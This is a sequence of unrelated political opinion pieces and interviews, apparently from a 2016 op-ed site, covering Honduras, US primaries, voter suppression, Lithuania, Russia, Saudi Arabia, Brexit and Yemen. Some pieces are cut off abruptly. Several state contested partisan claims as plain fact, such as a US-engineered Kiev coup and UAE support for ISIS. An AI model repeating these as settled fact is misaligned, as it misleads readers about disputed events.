In an appeal filed by the APC, the apex court ruled against the appellant and ordered a fine of N10 million against the APC.

Reacting to the ruling, the PDP presidential candidate said, nothing is as pleasing to the ears of believers, as justice being served in the holy month of Ramadan.

In a statement signed by his media adviser, Paul Ibe, the former Vice President commended the justices for putting aside the interests of the powerful and upholding the interests of Nigeria and Nigerians, stressing that for the nation to move forward, the right thing must and should always be done at all times.

God first, Nigeria second, must be our priority as trustees of the people. When justice prevails, the people rejoice, chains are broken, freedom is multiplied and society is enriched, he noted.
Reprinted from Reader Supported News

An interview with Beverly Bell, founder of Other Worlds

I've heard it said more than once, since the close-range murder of indigenous leader Berta Caceres, that it's time for Hillary Clinton to apologize to the people of Honduras for supporting and sustaining an anti-democratic process that has turned that country into the murder capital of the world. Meanwhile, as Clinton campaigns, touting her expansive foreign policy record, the violence in Honduras continues unabated.

In the following interview with Beverly Bell, founder of Other Worlds and a close friend and associate of the murdered Caceres, we learn that anyone on the ground in Honduras who opposes the 10-plus US military bases there, and who is standing against turning the country into one big free-trade zone, is putting himself in grave danger. That point was made very clear with the murder of Nelson Garcia, a second environmental leader from the same organization as Caceres.

Bell herself, who has been in Honduras for the last two weeks, says she was inches away from being killed by machete during an anti-government protest last Friday in Honduras, when her potential killers realized she was an American and lowered their machetes. "I went to get a bottle of water and I somehow ended up on the wrong side of enemy lines," Bell said. "Everything shifted very fast, and two different men within moments came up to me, machetes raised sharply over my head, just started to bring them down, and then I guess seeing that I was a gringa, thought better of it and stopped."

Dennis Bernstein: Good to hear your voice, Bev ... Where exactly are you?

Beverly Bell: I'm speaking with you, Dennis, from the town of La Esperanza, in Honduras. La Esperanza is where Berta Caceres, the global movement leader who was slain on March 2nd of this year, was born, where she lived, and where she died. It is also the headquarters of the organization that she founded, The Council of Popular and Indigenous Organizations of Honduras (COPINH). I am here because my organization, Other Worlds, and the Center for Economic Justice that I ran prior to that, have worked closely with Berta, and with COPINH, for 18 years now, in quest of sovereignty and rights for indigenous peoples of Honduras and elsewhere. We have been working for the protection of their lands and waters, their rights to control those riches of nature, and also for a very profound global transformation of economics, politics, and society.

DB: When did you arrive there, and why did you decide to go down at this time?

Bell: I came down here a week ago at the request of COPINH to help out because they lost their leader, Berta Caceres, who not only was a moral and political powerhouse, but also was like a 100-woman work operation. So the organization is in need of a lot of support, mainly to mobilize international people to get at the root cause of their problems, many of which lie with an unelected and dictatorial government here with the backing of the U.S. military -- and also the backing of international institutions, including even possibly U.S.A.I.D. in dams and other operations that are taking place on Lenka land here. COPINH is an organization of Lenka indigenous people.

But the most immediate reason for my arriving when I did was to attend a magnificent international gathering called the Convergence of the Berta Viva People, and that is the peoples of the world, indigenous and otherwise, who identify so profoundly with this extraordinary leader. There were approximately 1,500 people from 22 nations at this three-day gathering.

DB: Two other things that relate to the murder of Berta unfolded before you arrived. One is that her friend, the eyewitness to the murder, was by grace and a lot of organizing gotten out of the country, escaping the death squads in Honduras, and in the same context, there was another murder.

Bell: That's right. Gustavo Castro is to the environment and its defense, in Mexico, what Berta Caceres was, and I will say is, even though she is dead in the body. And he was at her home the night of her murder. He said that the hit men thought that she was alone, and were very surprised to see him. They did shoot him twice. One of the bullets went very, very close to his skull, but fortunately hit his ear instead. The other hit his hand. He then went through the most horrific experience of 26 days of either being directly held by the Honduran government, supposedly for questioning, but through the entire days he was horribly psychologically tortured, and to some degree physically tortured. And then the remainder of the time he was in the Mexican Embassy, he being a Mexican citizen, for his own protection, because the Honduran government refused to allow him to leave.

However, his departure, and the fact that he is now back in Mexico, is a rare moment when people united actually get to see immediate results of our work. And what happened is that people around the world who know Gustavo or who care about the struggle, mobilized, and we got responses from 62 congressmen in the U.S. House of Representatives, denouncing this to Secretary of State Kerry, and asking him to cut military aid. We got the Vatican to pronounce itself against what was happening to Gustavo. There were calls from everybody, from Robert F. Kennedy Jr. and so many other well-known people. And in Latin America alone, over 100,000 people sent letters calling for Gustavo's release.

So he is back home. However, I am sorry to say that he is not at all safe because a hit man could easily be dispatched from Honduras, and go into Mexico. And we are at a moment when this sort of thing is happening quite regularly here in Honduras. Gustavo is, unfortunately, extremely inconvenient to the Honduran government and to the dam company that Berta and her group had been opposing, who we are quite sure paid the hit men who killed her.

And incidentally I was with Berta's brother, also named Gustavo, a couple of days ago, and he said that two weeks before her death, Berta called him and said that they had already contracted and paid for the death squads who were to shoot her. This was a long anticipated event.

DB: The name of the company.

Bell: The company is DESA, which means "energy development" in Spanish. It claims to be a Honduran company -- however, it is underwritten by funds from the Dutch Development Bank, the Finnish Development Bank, and the Central American Bank for Economic Integration, which basically the U.S. runs. In the past it was also underwritten by the World Bank, although very strong pressure from the indigenous organization here, COPINH, caused the World Bank to pull out, and it also caused the largest dam company in the world, Sinohydro, which is owned by the Chinese government, to pull out.




Dr. Seuss (Theodor Seuss Geisel) wanted people to change for the better, and this is easily noticeable when reading his stories. Others may tell you that he did not intend to teach us morals, but all it takes is a little look beyond the book to understand where this came from. Mr. Geisel would kid around when asking if he had children since he wrote books for them, often replying that you can have the children and I will teach them with my stories.

As an idealist he spent most of his life trying to improve how people behaved, and wrote over 60 books during his lifetime. Mr. Geisel would be considered a polymath due to his diverse experience with the world around him. In his early career, he worked for a left-wing newspaper called PM in New York, and wrote children books after getting his break in publishing. He left us a story before passing, called "Because A Little Bug Went Ka-choo".

Socially reinventing people must be a tremendous task, and not many could think of a person who has done a better job trying to do this than Dr. Seuss. His story ending with "Because A Little Bug Went Ka-choo" explains how cause and effect works in real life with illustrations that would captivate even one who is not listening. In fact a guy from F.O. Swartz read one of his first children's book and could not put it down, reading it over and over about how an elephant would sit on a bird's nest helping out a friend while she took a break and went to Palm Beach. Mr. Geisel was then offered a home for his books, where the toy store would build a display with an Elephant sitting on a nest high up in a tree because this elephant wanted to stand by his word, and help out a friend in need. How could anyone not want to listen to what Dr. Seuss wanted to teach us? It begs us to ask why he would write one last story teaching us about the effects of our actions. I found a passage from one of his books, giving me a glimpse into how this man thought, and wanted to include here for you:

"Humor has a tremendous place in this sordid world. It's more than just a matter of laughing. If you can see things out of whack, then you can see how things can be in whack"

This reminds me how George Carlin must have looked at things, using all of his senses to put together morals in a funny way hoping that we would listen. Maybe our definition of intelligence does not begin to explain the depths of either of these men's knowledge, nor could our definition of perseverance come close to the dedication either of these men offered us. It would be ashamed not to listen! While I was researching the writer in my article, I found some other passages that I know he would want me to share:

"In the places I go there are things that I see that I never could spell if I stopped with the Z. I'm telling you this 'cause you're one of my friends. My alphabet starts where your alphabet ends!"

Why settle for what society has defined our lives to be like. It always seems to occur that my elders tell me that I am an Idealist, as though these things would never happen. Dr. Seuss says not to listen to them, do it anyway, and he would probably bet a nickel that they would join in once we did it. Got a good feeling about this man, he did not finish college at Oxford probably for the same reason Buckminster Fuller did not finish Harvard. Just as the quote above states, our writer did not want to become like the rest of us, he had the imagination we could be more. Maybe this also had something to do with the following passage I found, and it went something like this:

"You can get help from teachers, but you are going to have to learn a lot by yourself, sitting alone in a room"

After all, this was the message in the 1960's wanting us to not be programed by the ones around us. In fact my theory is that he felt that his children's books could reach children before they were programed by their parents, and how clever is this, he got the parents to read the story to them. You have to understand when dealing with intelligence of this magnitude, that these men like Geisel really did have an alphabet that started where yours and mine left off.

I was a little disappointed with the Wikipedia page on our topic,, seemed like it missed the underlying beauty of this writer, and what he was trying to accomplish. Just because he was involved with the military at such a magnitude early in his life, it does not mean he did not see things that made him question what our end goal is. Edgar Rice Burroughs had a similar background, all to have something happen that turned his writing all the way around as shown with the story of Tarzan. Maybe getting close to the truth in our lives happens when we are the closet to the problem. Kipling traveled to India which inspired his story about the Jungle book, imagine what all Geisel witnessed while traveling to over 60 countries before writing his books. Dr. Seuss would have a reply for this too, "Sometimes the questions are complicated and the answers are simple", and "Because A Little Bug Went Ka-choo"

We have come full circle to the beginning our story here. His last message in his book was what we all needed to hear during our present time. Maybe the stories were not for the children after all, maybe they were for the adults who were reading them.




Improbably, it appears that the June 7th California primary will determine the nomination of both the Democratic frontrunner, Hillary Clinton, and the Republican frontrunner, Donald Trump. After winning the New York Democratic primary, Clinton has approximately 1930 delegates, 453 short of the magic number 2383.



Unless Bernie Sanders stages an epic comeback, Clinton will cross the finish line in California.

Before June 7th, there are 10 Democratic primaries. The largest of these is Pennsylvania with 189 pledged delegates and 21 super delegates. Assuming that Clinton and Sanders break even in these primaries, Clinton will be approximately 150 short by June 7th.

California offers 548 delegates: 475 pledged delegates and 73 super delegates. The allocation process is byzantine: 317 district delegates will be pledged to Clinton or Sanders proportionally, based upon the primary results in each of the California's 53 congressional districts. A further 158 delegates will be allocated based on statewide results.

Current California polls show Clinton leading Sanders by 9.5 percent. However, there are three tactics that Sanders could follow to narrow this gap.

Independents: Sanders has done well in contests where registered Independents can crossover and vote for him in the Democratic primary. This was not possible in the New York primary (nonetheless, exit polls showed that Sanders carried 72 percent of those Democrats who considered themselves to be Independent voters).

As of January 5th, the California Secretary of State reported that 17,259,413 Californians had registered to vote (70.2 percent of those eligible) -- by June 7th the number is expected to be significantly higher. So far, 43.1 percent have registered as Democrats, 27.6 percent as Republicans, 24 percent as "no party preference," and 5.3 percent as "other" (American Independent, Green, Libertarian, or Peace & Freedom). Democrats permit voters with "no party preference" to vote in their primary -- the California Public Policy Institute said that 37 percent of these voters are likely to vote Democratic. Still, "no party preference" voters will have to request a Democratic primary ballot.

Unfortunately, there's evidence that some erstwhile Sanders voters may have registered as "Independent" rather than "no party preference." That won't work on June 7th; in California that means you get to vote as an "American Independent."

Hispanics: In New York, Clinton and Sanders split the white (non-Hispanic) vote. Clinton won because she carried the African American vote (75 percent) and the Hispanic vote (64 percent).

Hispanics are a larger demographic factor in California. There are 14.3 million Hispanics in California, more than in any other state. (In the Golden State, Hispanics outnumber non-Hispanic whites.)

The most recent California Public Policy Institute report indicates that white non-Hispanic voters are 48 percent of likely Democratic voters. Hispanics are 26 percent. Asian Americans are 13 percent. And, African Americans are 10 percent. (By the way, 15 of the 53 congressional districts are majority Hispanic and in another 9 districts Hispanics are more than 40 percent of potential voters.)

Historically, Hispanic voters have not voted (until recently their participation rate was less than 50 percent). However, there is a new California voter registration process that should increase the Hispanic vote.

In addition, Hispanic Democratic voters may turn out to support Congresswoman Loretta Sanchez (CA 46) who is running for the Senate seat now occupied by Barbara Boxer. (The latest polls show Sanchez running slightly behind California Attorney General Kamala Harris.)

On April 14th, The San Francisco Chronicle reported that California Hispanics (Latinos) are registering to vote in unprecedented numbers and this may be good news for Sanders: "'Something unusual is going on in the Latino community," [California] Field Poll Director Mark DiCamillo said. 'You're seeing a reappraisal of Clinton vis-a-vis Sanders. Now it is up for grabs.'"

Women: The California Public Policy Institute noted that 57 percent of likely Democratic voters are women. If that's true on June 7th, it's a problem for Bernie Sanders. In New York, 59 percent of Democratic voters were women and 63 percent of them voted for Clinton.

If Sanders is going to move the female vote, he will have to make inroads on her signature issues. In New York, these were gun control (60 percent of voters preferred Clinton) and experience (59 percent of voters preferred Clinton).

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Stripes and Stars Upside-Down

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Congressional Briefing April 21, 2016: "How Voter Suppression Efforts Are Threatening Our Democracy"



"It is democracy time!" were words that led into this historic congressional briefing, "How Voter Suppression Efforts Are Threatening Our Democracy." Sponsors were the National Election Defense Coalition and Transformative Justice Coalition. The moderator of the distinguished panel and members of the Congressional Black Caucus was Barbara Arnwine, former Executive Director of the Lawyers' Committee for Civil Rights Under Law and presently co-sponsor of the Transformative Justice Coalition. What does the dismal handling of the primaries and caucuses held so far bode for the U.S. Congress?

Arnwine listed members of the Caucus who were present: Reps. John Conyers (former Chair of the House Judiciary Committee), Sheila Jackson Lee, Terry Sewell, Marc Veasey, Maxine Waters, Elijah Cummings, Hank Johnson, and others. 2016 marks the fifth year of intensive voter suppression. Long lines have marred proceedings in so many of the primaries and caucuses. Too

many provisional ballots have been filled out because voter names have been mistakenly or purposely removed from lists.

New York should not be high on your list of places to vote. There is no early voting, and registration for primaries, specifying partisan affiliations, this year was required in September proceeding last November. For some reason partisan affiliations were somehow often flipped and independents were not allowed to vote in this closed primary anyway. Brooklyn represented the nadir location: 125,000 names had been removed, 65,000 names added. Some gullible people were even told to vote on their iPhones.

Arnwine exhorted Congress to act; people must debate and repeal voter suppression; democracy must become more inclusive. Victims were "people who wanted to vote," she reiterated three times, herself the author of the Map of Shame, which depicts voter repression legislation state by state. (http://www.aflcio.org/Multimedia/Infographics/Map-of-Shame-Vote-Suppression-Legislation-by-State).

The scheduled moderator, Roland S. Martin, award-winning TV1News!Now anchor, was unable to stay after proudly announcing that Mississippi's state flag, which contains an image of the Confederate flag, was pulled down today. He introduced the first speaker, the distinguished head of the North Carolina NAACP, Rev. William Barber, founder of Moral Mondays, "protests [in North Carolina spanning] many wide ranging issues under the blanket claim of unfair treatment, discrimination, and adverse effects of government legislation on the citizens [there]."

"This is a season where the doves were crying," said Barber. "Voting Rights attacks are blasphemy!" The right to vote was obtained through blood and self-sacrifice. The Voting Rights Act was expanded five times before being gutted in 2013 by the Supreme Court in the Shelby County v Holder decision--a "constitutional and moral travesty." As a result, the worst attacks on voting rights have occurred since the nineteenth century. The South was freed to pass all the suppressive legislation and measures it wanted to: Texas jumped in the next day, with North Carolina passing the "worst, meanest" legislation soon after. 1.3 million qualified citizens could be kept from voting in November. One state university was cut in half by redistricting, so that the power of student votes, usually liberal, was diluted. Meanwhile Texas, which excels in other areas benefiting we the people, now ranks last in the country in the area of voting rights, Rep. Veasey later added. 25 percent of African Americans there were likely not to have the required voter ID and would be forced to vote provisionally. A bipartisan panel of judges proved that these impediments evidenced purposeful discrimination.

"If you have the South, you have the nation," said Barber.

James Crow, Esquire, is back on the scene, in lawyer's attire. Forty North Carolina cities had been subject to Section 5 preclearance and had required it many times. Election 2016 will be the first unprotected general election since the passage of the Voting Rights Act in 1965. All progress made since then was eradicated "in one fell swoop." Unconstitutional legislation is being passed by unconstitutional legislatures.

In North Carolina, same-day registration was eliminated, the early voting period was shortened, voting the straight party ticket was no longer permitted, as was registration by high school students preparing to vote. Fifty thousand pages documented all of the new repression.

And legislators in the Tar Heel State acknowledged happily that retrogression was now legal.

"The South must rise again but in a new way," said Barber. Moral Mondays must now encompass all seven days of the week.

He quoted FDR: "The ultimate rulers of the United States are . . . the people of this country."

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Now this is the globalized world and we are inter-connected with each other in many respect. No doubt poverty brought untold suffering for the people. Because of the poverty many countries are facing human-rights crisis. Many countries need urgent and immediate attention. World body like United Nations can play a very important and constructive role in establishment of development, resource and expertise in this regard. This is the high time that UN should engage constructively to development building process and use its resource, expertise and influence to facilitation of development process. And at the same time civil society has also a bigger role to play in this context because civil society is also emerged as a major actor in shaping of policy agenda. World body and International civil society facilitate the development process.



"There is massive violation of International humanitarian law," Dinesh Tripathi, a well-known human rights lawyer from Nepal who has worked as a human-rights attorney for the Nepal Supreme Court for fifteen years, said recently. "This process has to be stopped immediately. In addition to that violation of human rights must be closely monitor by International community and urgent and immediate measure should to be taken to stop the violation of human rights and humanitarian law.

"Democratic peace and development are the need of the hour for the people. Development cannot exist or secure without full guarantee of human rights, democracy and rule of law and at the same time social justice and equity is also a pre-condition of genuine development. And it is self-evident truth that peace cannot survive amidst vast social and economic inequality, exclusion and marginalization. For the establishment of the genuine development root cause of poverty has to be addressed. No doubt that just and equitable socio-economic order is pre-condition of it.



"Peace cannot just happen by itself automatically but it need a concerted and collective action on the part of stakeholder to build and create peace. Since peace does mean it provides a space for realization of fundamental rights and liberty for people. Without peace there could be no guarantee of well being, prosperity and happiness of people and without democracy and human rights no genuine peace is possible."





We need to achieve economic stability. I believe, for peace, and development, which largely depends on our work and policy, needs commitment. Globally people need political stability, human rights, development, peace, and democracy.



--
The last political events once again highlighted the political relevance of energy-security issue for Lithuania. We must pay tribute to the government that struggles for reducing Lithuania's dependence on Russian energy supplies and for receiving financial support from its EU and NATO partners by all possible means. It finds new ways to attract international attention to the problem.

The energy-security issue for Lithuania has various aspects. One of them is insufficient funds for the dismantling work at Lithuania's Ignalina Nuclear Power Plant (INPP). According to Audrius Kamienas, director of the Activity Planning and Finance Department at the INPP, another 900 million euros will be required starting in 2020. The government is continuing negotiations with EU in order to receive further financing of the project.

Deputy Energy Minister Rokas Baliukovas said that active negotiations on additional EU funding for the Ignalina plant closure would start in 2017 to 2018. Kamienas said that 941 million euros had been used for the INPP closure by the start of 2016, with another 745 million euros in EU and national budget funds planned to be used by 2020. Self-financing of the project is impossible for the country and even partial funding has become an unbearable burden for the national budget.

President Dalia Grybauskaite expects that Germany will support Lithuania in its efforts to raise concern about the safety of Belarus' nuclear power plant under construction in Astravyets, some 50 kilometers from Vilnius. By the way, Belarus is the closest ally of Russia. Lithuanian government is not sure of the plant's safety but can't oppose the construction alone. So Lithuanian authorities follow a proven method by appealing to external help.

Another aspect of maintaining Lithuanian energy security the government considers preventing construction of the Russian-German pipeline project Nord Stream 2. Being dependant on Russian energy supplies for the long time Lithuanian authorities think that it poses "risks for energy security not only to the country but to the region of Central and Eastern Europe on the whole." Earlier, on 17 March, Prime Ministers and leaders of 9 EU member states (Czech Republic, Hungary, Poland, Slovak Republic, Romania, Estonia, Latvia, Lithuania, Croatia) had sent a letter to Jean-Claude Juncker, President of the European Commission, speaking out against Nord Stream 2. But the matter is the EU is not directly involved in the decision-making process around Nord Stream 2: it is the national permitting authorities of the countries whose waters the pipeline will cross that must grant approval for the project. In this case, these are the permitting authorities of Russia, Finland, Sweden, Denmark and Germany. Lithuanian President Dalia Grybauskaite met with German Chancellor Angela Merkel on April 20 and tried to convince inefficiency of the project. However, if the German companies are able to defend their commercial interests, then the project will have a future. Taking into account the German pragmatism, economic expediency will prevail over the political one. Probably Germany does not pay so much attention to Russia's threat as the Baltic states do.

It should be said that Lithuanian authorities effectively use geopolitical situation in the region in order to reach national goals by attracting international attention and persuading its partners that Lithuanian problems are their problems either. One couldn't judge Vilnius for it. Probably for the government of small country it is the simplest way. For example "threat from the West" made it possible for Lithuanian authorities to ask for NATO support in military and energy security spheres.

The seventh meeting of the Steering Committee of Vilnius-based NATO Energy Security Centre of Excellence (NATO ENSEC COE) took place on 19-20 April in Chalon-sur-Saone, France.

In the meeting a lot of attention was dedicated to the protection of critical energy infrastructure and discussions on expansion of the Centre. NATO has assessed that the protection of critical energy infrastructure is one of the key elements for strengthening the Alliance's resilience to hybrid threats. In this regard, Lithuania called on to increase funding for the centre's activities in order to ensure necessary expertise in the field of the protection of critical energy infrastructure. Joining of new countries to the Centre (such as Germany and the US) will strengthen the capabilities of the structure and will made Lithuania more prominent in NATO and on the international arena.

So the event allowed receiving additional political and financial support from external sources, such as NATO.

Thus Lithuania today has at least two reliable ways of getting support in maintaining its energy security -- from EU and NATO. It should be said that Vilnius uses such opportunities to reach national goals successfully.
Russian Akula class submarine

The headline in Wednesday's the New York Times read, "Russia Bolsters Its Submarine Fleet and Tensions With U.S. Rise." [1]

As writer Eric Schmitt put it, "Russian attack submarines, the most in two decades, are prowling the coastlines of Scandinavia and Scotland, the Mediterranean Sea and the North Atlantic in what Western military officials say is a significantly increased presence aimed at contesting American and NATO undersea dominance."

"The patrols are the most visible sign of a renewed interest in submarine warfare by President Vladimir V. Putin, whose government has spent billions of dollars for new classes of diesel and nuclear-powered submarines that are quieter, better armed and operated by more proficient crews than in the past."

Reading those paragraphs one could easily come away with the distinct impression Putin and Russia's "prowling" in those waters is a clear provocation against the US and NATO.

The only problem Putin's so called "prowling" is just a response to US and NATO's prowling right to the edge of Russia's borders.

Maybe a little synopsis review of history, since 1989 and two years later, with the demise of the Soviet Union is in order here.

There was an agreement in 1989 between former Soviet General Secretary Mikhail Gorbachev and the Bush I administration that NATO would not move "one inch closer" eastward if the two Germany's were allowed to re-unite.

This agreement was subsequently betrayed first by the Clinton administration then Bush II with the Baltic countries of Latvia, Lithuania and Estonia and the former Warsaw Pact countries Hungary, the Czech Republic, Slovakia, Bulgaria, Albania, Romania, Poland joining NATO.

Prior to the Georgian war in 2008 over the two breakaway provinces South Ossetia and Abkhazia NATO promised Georgia would "eventually" become a member. Ukraine was also promised inclusion "eventually".

The new cold war with Russia began and was provoked by US State Department officials working behind the scenes initiating the coup in Kiev of Ukraine President Viktor Yanukovych in February 2014 and subsequently Russia agreeing to annex Crimea-following a popular referendum by the people voting to join the Russian Federation-this because of the distinct Russian fear its naval base in Sevastopol would fall under the post coup regime in Kiev.

Then with the assault into Eastern Ukraine by the Ukrainian army together with their neo-Nazi militia's attacking the ethnic Russian speaking people, with Putin openly supporting them, he has since been demonized in the western media as the aggressor and the new "Hitler" characterized as such by none other than Hillary Clinton.

Today with US neo-cons within and without the Obama administration continually pushing for "regime change" and Putin remaining in their sights, the question begs, what choice has Putin and Russia other than to defend itself from US and NATO aggression?

So Schmitt's article is a mischaracterization of Russian aerial and submarine presence in the aforementioned areas including ominous pictures of two nuclear powered submarines, two nuclear powered cruise missile submarines, a diesel-electric attack submarine, a map of revealing the locations of the four Russian fleets in the Barents Sea, Baltic Sea, Black Sea and the Mediterranean Sea while one US attack submarine is pictured sitting idly on some picturesque river in Scotland.
This piece was reprinted by OpEd News with permission or license. It may not be reproduced in any form without permission or license from the source.



Articles - Author's Page for Mark Taliano | OpEdNews

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"Reverse Projection", as described by Canadian professor John McMurtry, is a staple of propagandists as the imperial West imposes its toxic agenda of war and poverty domestically, and throughout the world.

Public Relations liars are the new myth makers who create the new stories to sell to an increasingly anesthetized public.

All of the lies serve to entrench the transnational oligarch class and to deny wealth, freedom, democracy, and Life itself to the rest of us.

Canada's governing party, the Liberals, led by the ever charismatic Justin Trudeau, is a perfect front for a criminal agenda where black is sold as white, and white is sold as black. The Liberal party will have a long tenure.

Justin Trudeau's defense of the sale of military equipment to Wahhabi Saudi Arabia as a matter of "principle" will no doubt solidify his glowing reputation.

Not only is Wahhabi Saudi Arabia a chief financier for NATO's criminal terrorist proxies who are chopping their way through the Middle East and Africa , but its degenerate ideology, a deformed misinterpretation of Koranic teachings, will also continue to flourish, thanks to countries like Canada, that grow and sustain the spiritual cancer, to the detriment of humanity, and the benefit of the few.

Justin Trudeau's self-professed "feminism" is a perfect veneer to cover the depravities of Canada's misogynist foreign policy. Felicity Arbuthnot describes in "United Nations Farce: Saudi Arabia to Head UN Human Rights Council," some of the highlights of Saudi Arabia's domestic human rights record:

"By 15th June this year executions reached one hundred 'far exceeding last year's tally and putting (the country) on course for a new record' according to The Independent (15th June.) The paper adds that the Kingdom is set to beat it's own grisly, primitive record of one hundred and ninety two executions in 1995.

The paper notes that: ' "the rise in executions can be directly linked to the new King Salman and his recently-appointed inner circle "'

In August 2014, Human Rights Watch reported nineteen executions in seventeen days -- including one for 'sorcery.' Adultery and apostasy can also be punished by death."

It gets better. Arbuthnot explains:

"At home women are forbidden: 'from obtaining a passport, marrying, traveling, accessing higher education without the approval of a male guardian.' (HRW Report, 2014.) Saudi is also of course, the only country in the world where women are forbidden to drive."

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Reprinted from Mike Malloy Website



Congress threatening to end free school lunches

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st when you think the rat bastards can't get any rat-bastardier ... now some compassionate conservatives in our House of Representatives are threatening to end free school lunches for millions of poor kids. Not since Reagan tried to classify ketchup as a vegetable has there been such a heartless proposal. I'm waiting for pastor Hagee to jump out from behind a Capitol Hill office and yell "STARVE!"

I don't get it. Why would any politician want to be responsible for punishing poor kids for being poor? Where's the gain for them? I guess they just want to reserve the federal funding for more important items... Like bombs and drones.

When they're scanning the budget for areas to trim -- why is it the kids? Or the poor? Without fancy lobbyists advocating for them, they are unimportant.

Think Progress has this:
Reprinted from Paul Craig Roberts Website

The Washington elite believe that the British people should serve Washington's interest and not their own. To this end, President Obama has been sent to London to emphasize that the UK must remain in the EU.

Does this make you wonder why it is important to Washington for the British people to surrender their national sovereignty to the European Union? If not, it should.

It is easier and less expensive for Washington to control the EU government than to control 28 separate governments. For example, if Washington wants to open up Europe to Monsanto, it is easier for Washington to bribe one EU government than to deal with 28 governments, especially as the European Commission is not accountable to the European people, whereas the individual populations of the countries would make their objections known to the national governments. The EU can open the door to Monsanto without accountability.

Then there is the NATO consideration. NATO is cover for Washington's war crimes. Without this cover there likely would be arrest warrants for US officials and, if not, certainly much hostile publicity. The notion that Washington is bringing "freedom and democracy" when it destroys a country would no longer fly.

If the UK leaves the EU, other countries are likely to follow. The desertion could spread to NATO, in which case Washington's hegemony over Europe and ability to threaten and destabilize Russia disappear. The neoconservatives cannot stand the thought.

Just as have the Americans and Europeans, the British have been lied to, deceived, and brainwashed for so long that it is surprising that such a large part of the population and political element are in favor of the UK leaving the EU. It shows that despite the propaganda, many of the British recognize that being absorbed by the EU is the same as being conquered by the Germans, a fate that the British fought two world wars to avoid.

The paid-off British politicians want to do Washington's bidding. Perhaps more need to be paid off, and the price is what Obama has gone to London to discover.

Here us an RT report on the hostile reception Obama is receiving in the UK for his meddling in the internal affairs of a sovereign country.
By William Boardman, Reader Supported News



United Arab Emirates (UAE) offers official version in Arab "Pravda"

The National is an English language publication owned and operated by Abu Dhabi Media, the government-run media organization of Abu Dhabi, the capital of the UAE. There is no press freedom in the UAE. Government media report the government point of view, which rarely includes criticism of the government.

On March 26, the first anniversary of the UAE's unprovoked attack on Yemen as part of the Saudi-led coalition of mostly Arab states, the UAE's official media published a document about the carnage in Yemen illustrative of George Orwell's observation: "If you want to keep a secret, you must also hide it from yourself." The truth about the war in Yemen is a largely unreported secret. The UAE officially hides that truth from itself in an editorial in The National (which follows in its entirety, section by section) -- it begins with the headline:

"After a year in Yemen, our resolve is firm"

After a year in Yemen, the SU/Saudi coalition has managed to the region's poorest country to almost unthinkable condition, where some 20 million Yemenis -- about 80% of the population -- need humanitarian assistance. In a country both under attack and on the verge of mass famine, what does "our resolve is firm" really mean if not continued crimes against humanity? The UAE editorial's first sentence has no discernible meaning at all:

The start one year ago of Operation Decisive Storm comes as a reminder of the importance of the war in Yemen.

The anniversary of an aggression -- that the Saudis proclaimed would be brief and decisive -- is important mostly for it's irony. An official Saudi press release of March 25, 2015, quoted the Saudi ambassador to the US saying: "The operation will be limited in nature, and designed to protect the people of Yemen and its legitimate government from a takeover by the Houthis. A violent extremist militia." By then the "legitimate" government of Yemen had fled to the Saudi capital of Riyadh. Not only has more than a year of US/Saudi-led war failed to achieve any significant military success, it has produced collateral damage on a massive scale, making the country of 25 million people perhaps the worst humanitarian crisis in the world today. This reality makes a mockery of the UAE editorial's next assertion:

The UAE joined the Saudi-led coalition campaign driven by its commitment and dedication to maintaining security and establishing peace in the region.

This is, almost literally, Orwellian in its "war is peace" mindset. From the start, the US/Saudi aggression has violated international law and committed war crimes against Yemeni civilians, using cluster bombs made in the USA (and sold to the Saudis with US taxpayer subsidies). The recently-released US State Department annual human rights report on Saudi Arabia for 2015 soft-pedals the allies' slaughter of civilians in Yemen, and omits Saudi-dropped US cluster bombs entirely (perhaps because their lingering impact killing children over years and decades is deucedly hard to assess accurately, whereas profits can be tallied almost immediately). The full despicability of the Obama administration's position on these inhumanities is revealed in its official unwillingness to speak on the record about the blatant hypocrisy of its morally indefensible defense of the murder of civilians for profit, as reported in The Intercept:

"A State Department spokesperson, who would only comment on background, pointed out that the U.S. has called on both sides of the conflict to protect civilians. He also claimed that the use of cluster munitions is not a human rights violation because the United States has not signed the ban on cluster munitions."

The State Department spokesperson did not acknowledge that only one side bombs civilians (in schools, hospitals, markets, and homes) with US-made planes dropping US-made munitions. This follows a years-long US campaign in Yemen to kill civilians with US-made drones (still in use from outside the country).

Yemen is drawn as a coherent state on maps, but most of the Yemeni-Saudi border has never been officially defined. Yemen has an ancient culture in the western part of the country, but it has never been a coherent state. The Saudis and Yemenis have engaged in sporadic, armed conflict for decades. In particular the Saudis and the Houthis have fought over northwest Yemen and neighboring southwest Saudi Arabia, which is home to a large Houthi population. Security in the region is not directly threatened by the Yemeni civil war. For any Arab state to talk like the UAE of establishing "peace in the region" is fundamentally hilarious.

The UAE has long been a source of support for the Islamic State (aka ISIS, ISIL, or Daesh), as have Saudi Arabia, Qatar, and Kuwait -- all part of the coalition waging war on Yemen. Editorially, the UAE cloaks itself in the mantle of state legitimacy:

The coalition responded to the call by Yemen's president Abd Rabbu Mansour Hadi to restore his internationally recognised government to power.

To call the Hadi government "internationally recognized" is to fudge the reality that the Hadi government has only limited recognition among Yemenis. Hadi came to power through what US Ambassador to the UN Samantha Power called, somewhat falsely, the "peaceful, inclusive, and consensus-driven political transition under the leadership of the legitimate President of Yemen, Abdo Rabbo Mansour Hadi." One problem with this US formulation is that Hadi's "legitimacy" derives from his being installed as president by an international diplomatic coup, followed by his election in a race in which he was the sole candidate. Essentially, there is no legitimate government of Yemen and has not been for decades at least. The present war of aggression by outside powers intervening in a multifaceted civil war relies for its justification on a variety of dishonest fictions. The Houthis are a sub-group of the Shi'ite Zaidis, who number about eight million in Yemen. The Zaidis governed northwest Yemen for 1,000 years, until 1962. The UAE editorial invents a different historical identity:

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Reprinted from Reader Supported News

"Without a struggle, there can be no progress." -- Frederick Douglass

I'm not going to sugar coat it, New York needed to go better to widen Bernie Sanders' path to victory. There is still a path, but it got narrower Tuesday night in the Big Apple. This should not be seen as a reason to not continue working just as hard -- remember, the political revolution is just beginning. Even if Hillary Clinton becomes the nominee, the next phase of the political revolution will be to go to the Democratic convention with as many delegates as we can and work to reform our rigged political system.

We keep hearing how we have to come together to beat Donald Trump. I am sure that most longtime Democrats will unite and vote for Hillary Clinton. What the pundits and many party activists are ignoring is that the political revolution includes many Independents and others who voted in the Democratic Party for the first time. Those voters are not automatic votes for Hillary Clinton -- their votes have to be earned. Voters who have voted Green or even Libertarian will have to be swayed that voting for Hillary Clinton is in their interest, or they will return to the party that better represents them. I'm not saying Bernie can't win, I'm saying don't be discouraged by the daunting task ahead. Win or lose, we can still make progress in the fight to take our country back.

